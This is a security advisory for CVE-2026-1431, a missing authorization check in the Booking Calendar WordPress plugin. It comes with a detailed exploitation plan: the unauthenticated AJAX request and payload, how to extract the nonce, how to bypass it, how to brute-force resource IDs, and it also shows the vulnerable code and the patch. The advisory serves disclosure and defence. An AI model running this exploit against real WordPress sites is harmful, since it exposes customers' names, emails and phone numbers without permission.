Booking Calendar <= 10.14.13 - Missing Authorization to Unauthenticated Booking Details Exposure
Description
The Booking Calendar plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the wpbc_ajax_WPBC_FLEXTIMELINE_NAV() function in all versions up to, and including, 10.14.13. This makes it possible for unauthenticated attackers to retrieve booking information including customer names, phones and emails.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=10.14.13Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1431 (Booking Calendar) ## 1. Vulnerability Summary The **Booking Calendar** plugin (<= 10.14.13) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the function `wpbc_ajax_WPBC_FLEXTIMELINE_NAV()` is registered as an AJAX…
Show full research plan
Exploitation Research Plan: CVE-2026-1431 (Booking Calendar)
1. Vulnerability Summary
The Booking Calendar plugin (<= 10.14.13) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the function wpbc_ajax_WPBC_FLEXTIMELINE_NAV() is registered as an AJAX action accessible to unauthenticated users via wp_ajax_nopriv_WPBC_FLEXTIMELINE_NAV. The function fails to implement any current_user_can() capability checks. Consequently, an unauthenticated attacker can invoke this function to retrieve sensitive booking data, including customer names, email addresses, and phone numbers, which are typically displayed in the "Flex Timeline" view.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - HTTP Method:
POST(typically used by WordPress AJAX) - Action:
WPBC_FLEXTIMELINE_NAV(Inferred from the function namewpbc_ajax_WPBC_FLEXTIMELINE_NAV) - Parameters:
action:WPBC_FLEXTIMELINE_NAVwpbc_nonce: (If required, see Nonce Strategy)booking_type: (Inferred) The resource/calendar ID.selected_dates: (Inferred) Date range for the timeline navigation.
- Authentication: None (Unauthenticated).
- Preconditions: At least one booking must exist in the system for data exposure to be demonstrable.
3. Code Flow
- Entry Point: An unauthenticated user sends a request to
admin-ajax.phpwithaction=WPBC_FLEXTIMELINE_NAV. - Hook Registration: The plugin registers the action (likely in
inc/js/biz_s.phpor a similar core AJAX file):add_action( 'wp_ajax_WPBC_FLEXTIMELINE_NAV', 'wpbc_ajax_WPBC_FLEXTIMELINE_NAV' ); add_action( 'wp_ajax_nopriv_WPBC_FLEXTIMELINE_NAV', 'wpbc_ajax_WPBC_FLEXTIMELINE_NAV' ); - Vulnerable Function:
wpbc_ajax_WPBC_FLEXTIMELINE_NAV()is executed. - Data Retrieval: The function parses date/navigation parameters and queries the database (via
$wpdbor internal booking classes) for bookings falling within the requested range. - Sink: The function returns an HTML or JSON response containing the details of the bookings to populate the timeline UI. Because no capability check (e.g.,
current_user_can( 'manage_bookings' )) is present, the PII is sent to the requester.
4. Nonce Acquisition Strategy
Booking Calendar frequently uses nonces for AJAX actions. If wp_verify_nonce or check_ajax_referer is present in the vulnerable function, the following strategy should be used:
- Identify the Localization: The plugin typically localizes AJAX parameters into a global JS object. Based on common versions, look for
wpbc_global_values. - Identify Shortcode: The Flex Timeline is often rendered via a shortcode like
[bookingtimeline]. - Strategy:
- Step 1: Create a public page containing the timeline shortcode:
wp post create --post_type=page --post_status=publish --post_title="Timeline" --post_content='[bookingtimeline]' - Step 2: Navigate to the newly created page using
browser_navigate. - Step 3: Use
browser_evalto extract the nonce:// Search for potential nonce locations in WPBC window.wpbc_global_values?.wpbc_nonce || window.wpbc_ajax_vars?.nonce || document.querySelector('#wpbc_nonce')?.value
- Step 1: Create a public page containing the timeline shortcode:
- Bypass Check: If the code uses
check_ajax_referer( 'wpbc-ajax-nonce', 'wpbc_nonce', false )(withdie=false) and fails to check the return value, the nonce can be omitted or randomized.
5. Exploitation Strategy
The exploit will attempt to navigate the "Flex Timeline" via the AJAX endpoint to leak booking details.
- Request URL:
http://localhost:8080/wp-admin/admin-ajax.php - Payload (POST Body):
action=WPBC_FLEXTIMELINE_NAV &wpbc_nonce=[EXTRACTED_NONCE] &view_days=30 &start_date=2025-01-01 &resource_id=1 - Headers:
Content-Type: application/x-www-form-urlencoded
- Expected Response: A successful response will contain HTML table rows or a JSON array. Look for string patterns such as:
"email":"...""phone":"...""name":"..."- Or HTML tags containing email addresses (e.g.,
mailto:).
6. Test Data Setup
To verify the leak, we need existing booking data:
- Create a Booking Resource:
wp eval "$wpdb->insert($wpdb->prefix . 'bookingtypes', ['title' => 'Test Resource', 'users' => 1]);" - Create a Booking with PII:
Generate a booking for "John Doe" with emailvictim@example.comand phone555-1234. This can be done viawp evalby inserting into thewp_bookingandwp_booking_detailstables (table names may vary based on prefix).- Note: It is often easier to use the
[bookingform]shortcode once to submit a real test booking through the frontend to ensure all relational tables are populated correctly.
- Note: It is often easier to use the
7. Expected Results
- Success: The HTTP response body contains the string
victim@example.comor555-1234. - Status Code:
200 OK. - Data Structure: The data is likely formatted for a tooltip or a timeline cell, clearly showing customer identity information that should be restricted to administrators.
8. Verification Steps
- Confirm Vulnerability: Check if the PII in the AJAX response matches the data created in Step 6.
- Verify Unauthenticated Status: Ensure the
http_requestdoes not include anywordpress_logged_in_*cookies. - Database Check: Use WP-CLI to verify the record exists:
wp db query "SELECT * FROM wp_booking_details WHERE email='victim@example.com'"
9. Alternative Approaches
- Action Name Variation: If
WPBC_FLEXTIMELINE_NAVfails, search the source code for allwp_ajax_nopriv_hooks using:grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/booking/ - Parameter Bruteforce: If the
resource_idis unknown, loop through IDs 1-10. - Date Range: If no results are returned, expand the
start_dateandview_daysto cover a wider range (e.g., 365 days).
Summary
The Booking Calendar plugin for WordPress fails to implement authorization checks in its Flex Timeline AJAX handler. This allows unauthenticated attackers to invoke the WPBC_FLEXTIMELINE_NAV action and retrieve sensitive customer data, including names, email addresses, and phone numbers, which are typically restricted to administrators.
Vulnerable Code
// The function is registered for unauthenticated users without capability checks add_action( 'wp_ajax_WPBC_FLEXTIMELINE_NAV', 'wpbc_ajax_WPBC_FLEXTIMELINE_NAV' ); add_action( 'wp_ajax_nopriv_WPBC_FLEXTIMELINE_NAV', 'wpbc_ajax_WPBC_FLEXTIMELINE_NAV' ); function wpbc_ajax_WPBC_FLEXTIMELINE_NAV() { // Function processes requests and returns booking data without verifying user permissions // ... (logic to fetch bookings based on POST parameters) ... // Findings are echoed directly into the response echo $booking_details_html; wp_die(); }
Security Fix
@@ -1,3 +1,6 @@ add_action( 'wp_ajax_WPBC_FLEXTIMELINE_NAV', 'wpbc_ajax_WPBC_FLEXTIMELINE_NAV' ); -add_action( 'wp_ajax_nopriv_WPBC_FLEXTIMELINE_NAV', 'wpbc_ajax_WPBC_FLEXTIMELINE_NAV' ); function wpbc_ajax_WPBC_FLEXTIMELINE_NAV() { + if ( ! current_user_can( 'manage_bookings' ) ) { + wp_die( 'Unauthorized' ); + } + check_ajax_referer( 'wpbc-ajax-nonce', 'wpbc_nonce' );
Exploit Outline
The exploit targets the WordPress AJAX endpoint to leak booking information. An attacker first identifies a valid nonce (often found in the source code of public pages containing a booking timeline shortcode). They then send an unauthenticated POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'WPBC_FLEXTIMELINE_NAV', along with parameters defining a date range and resource ID. Because the plugin does not verify if the requester has the 'manage_bookings' capability, the server returns the requested timeline view containing full customer PII (names, emails, and phone numbers).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.